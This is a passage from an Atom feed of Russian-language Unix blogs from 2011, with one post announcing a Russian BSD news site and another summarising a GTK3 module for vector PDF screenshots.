    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><div dir="ltr" style="text-align: left;"><div style="text-align: right;"><blockquote>Если гора не идет к Магомету, то Магомет идет к горе.<br />(с) кто то, давно</blockquote></div>Так как положение с новостями на русском языке, о BSD подобных ОС, если не ухудшается, то уж точно не улучшалось.<br />Поэтому было принято волевое решение и организован ресурс <a href="http://bsdnir.blogspot.com/" target="twitter_external">http://bsdnir.blogspot.com/</a>, а так же сопутствующие сервисы. Назван не замысловато BSD news in Russian(BSD новости по-русски), из чего вытекает основное направление деятельности, это предоставление новостей из мира BSD.<br />В качестве примеров для подражания были выбраны англоязычные ресурсы <a href="http://www.shiningsilence.com/dbsdlog" title="DragonFly BSD Digest">DragonFly BSD Digest</a> и <a href="http://www.freebsdnews.net/" title="FreeBSD News">FreeBSD News</a>, вот что то похожее и постараюсь создать.<br />Как и положено современному, особенно новостному ресурсу заведены, твиттер <a href="https://mobile.twitter.com/bsdnir">@bsdnir</a>, причём он не является автогенерируемым, так же заведена <a href="http://www.facebook.com/pages/BSDniR/182607818462481">страничка в facebook</a>, там как раз статьи просто репостятся в заметки, ну и конечно же <a href="http://feeds.feedburner.com/Bsdnir">RSS лента</a>.<br />Так что если кому то такая идея по душе, то не стесняйтесь присоединяться, так же буду рад любым замечаниям и предложениям :)<br /><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-jSTQlqO2rfg/ThFJdKIIBYI/AAAAAAAACkA/0Tck5jG1Tmo/s1600/77734_1488743775508_1141371122_31091176_3541324_o%25281%2529.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://2.bp.blogspot.com/-jSTQlqO2rfg/ThFJdKIIBYI/AAAAAAAACkA/0Tck5jG1Tmo/s320/77734_1488743775508_1141371122_31091176_3541324_o%25281%2529.jpg" width="308" /></a></div><br />Этот блог не куда не девается, и может даже станет чаще обновляться ;)</div><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/8315849619846855781-3542822311980786051?l=f-andrey.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/CreS6ADV4qA" height="1" width="1" /></div></content>
    <updated>2011-07-04T05:03:00Z</updated>
    <published>2011-07-04T05:03:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="OpenBSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="PC-BSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="FreeBSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="NetBSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="общественное" />
    <category scheme="http://www.blogger.com/atom/ns#" term="runix" />
    <category scheme="http://www.blogger.com/atom/ns#" term="BSD" />
    <category scheme="http://www.blogger.com/atom/ns#" term="про меня" />
    <author>
      <name>f_andrey</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/02427630075610270483</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-8315849619846855781</id>
      <category term="IPv6" />
      <category term="сайт" />
      <category term="runix" />
      <category term="Xen" />
      <category term="2009" />
      <category term="про меня" />
      <category term="news" />
      <category term="books" />
      <category term="Linksys" />
      <category term="Cisco" />
      <category term="FreeBSD" />
      <category term="Perl" />
      <category term="BSD" />
      <category term="xmonad" />
      <category term="PC-BSD" />
      <category term="mips" />
      <category term="drivers" />
      <category term="Kyiv" />
      <category term="общественное" />
      <category term="debian" />
      <category term="девайсы" />
      <category term="NetBSD" />
      <category term="solaris" />
      <category term="mercurial" />
      <category term="programs" />
      <category term="utilities" />
      <category term="google" />
      <category term="ZFS" />
      <category term="OpenBSD" />
      <category term="patch" />
      <author>
        <name>f_andrey</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/02427630075610270483</uri>
      </author>
      <link href="http://f-andrey.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://www.blogger.com/feeds/8315849619846855781/posts/default/-/runix" rel="self" type="application/atom+xml" />
      <link href="http://f-andrey.blogspot.com/search/label/runix" rel="alternate" type="text/html" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Что то типа путевых записок, и размышлений об жизни, ну и о FreeBSD конечно, иногда какие нибудь новости и что то типа переводов.</subtitle>
      <title>записки юного БСДешника</title>
      <updated>2011-12-11T16:18:16Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-8622169542119587655.post-8047322577414699553</id>
    <link href="http://debiania.blogspot.com/feeds/8047322577414699553/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://debiania.blogspot.com/2011/06/pdf-gtk-3.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/8622169542119587655/posts/default/8047322577414699553" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/8622169542119587655/posts/default/8047322577414699553" rel="self" type="application/atom+xml" />
    <link href="http://debiania.blogspot.com/2011/06/pdf-gtk-3.html" rel="alternate" type="text/html" />
    <title>Скриншоты в PDF с GTK 3</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Для тех, кто не читает <a href="http://planet.debian.org/">Planet Debian</a>, маленький итог из двух тамошних постов.<br /><br /><a href="http://www.joachim-breitner.de/">Joachim Breitner</a> разработал небольшой модуль, который, будучи загруженным вместе с GTK3-приложением, отображает кнопку, с помощью которой можно создать скриншот окна и сохранить его в PDF, SVG, PostScript или даже PNG. Преимуществом таких скриншотов является то, что они представляют собой векторную графику, а значит:<ul><li>текст на них индексируем и по нему можно производить поиск</li><li>они идеально масштабируются, а значит, электронные мануалы с их использованием выглядят привлекательно вне зависимости от разрешения экрана и размеров окна вьювера</li></ul>На пример такого скриншота можно поглядеть в <a href="http://www.joachim-breitner.de/various/pdf_screenshot_3.pdf">этой pdf'ке</a>, а <a href="http://www.joachim-breitner.de/various/pdf_screenshot_3.ogv">здесь</a> можно скачать скринкаст (Ogg Theora, 2Mb), в котором показан процесс её создания. Архивы с исходниками можно скачать <a href="http://www.joachim-breitner.de/archive/gtk-vector-screenshot/">здесь</a>, а репозиторий — <a href="https://gitorious.org/gtk-vector-screenshot">найти на gitorious.org</a>.<br /><br />Собственно, те самые два поста, в которых Joachim описывает свой модуль:<ol><li><a href="http://www.joachim-breitner.de/blog/archives/494-Better-PDF-screenshots-with-gtk-3.html">Better PDF screenshots with gtk 3</a></li><li><a href="https://www.joachim-breitner.de/blog/archives/502-gtk-vector-screenshot-code-published.html">gtk-vector-screenshot code published</a></li></ol><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/8622169542119587655-8047322577414699553?l=debiania.blogspot.com" width="1" /></div><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/nX4uDAocpv0" height="1" width="1" /></div></content>
    <updated>2011-06-20T22:01:00Z</updated>
    <published>2011-06-20T22:01:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="linux" />
    <category scheme="http://www.blogger.com/atom/ns#" term="programming" />
    <author>
      <name>Minoru</name>
      <email>noreply@blogger.com</email>
      <uri>http://www.blogger.com/profile/15979236009981641914</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-8622169542119587655</id>
      <category term="linux" />
      <category term="web" />
      <category term="fluxbox" />
      <category term="tips'n'tricks" />
      <category term="mcabber" />
      <category term="programming" />
      <category term="zsh" />
      <category term="debian" />
      <category term="holiday" />
      <category term="mirror" />
      <category term="windows" />
      <category term="irssi" />
      <category term="vim" />
      <category term="Eee PC" />
      <category term="review" />
      <category term="blog" />
      <category term="hardware" />
      <category term="EULA" />
      <author>
        <name>Minoru</name>
        <email>noreply@blogger.com</email>
        <uri>http://www.blogger.com/profile/15979236009981641914</uri>
      </author>
      <link href="http://debiania.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://debiania.blogspot.com/search/label/linux" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/8622169542119587655/posts/default/-/linux/-/linux?start-index=26&amp;max-results=25" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/DebianiaLinux" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <title>Debiania: просто ещё один блог о Debian</title>
      <updated>2012-02-03T14:44:21Z</updated>
    </source>
  </entry>
</feed>

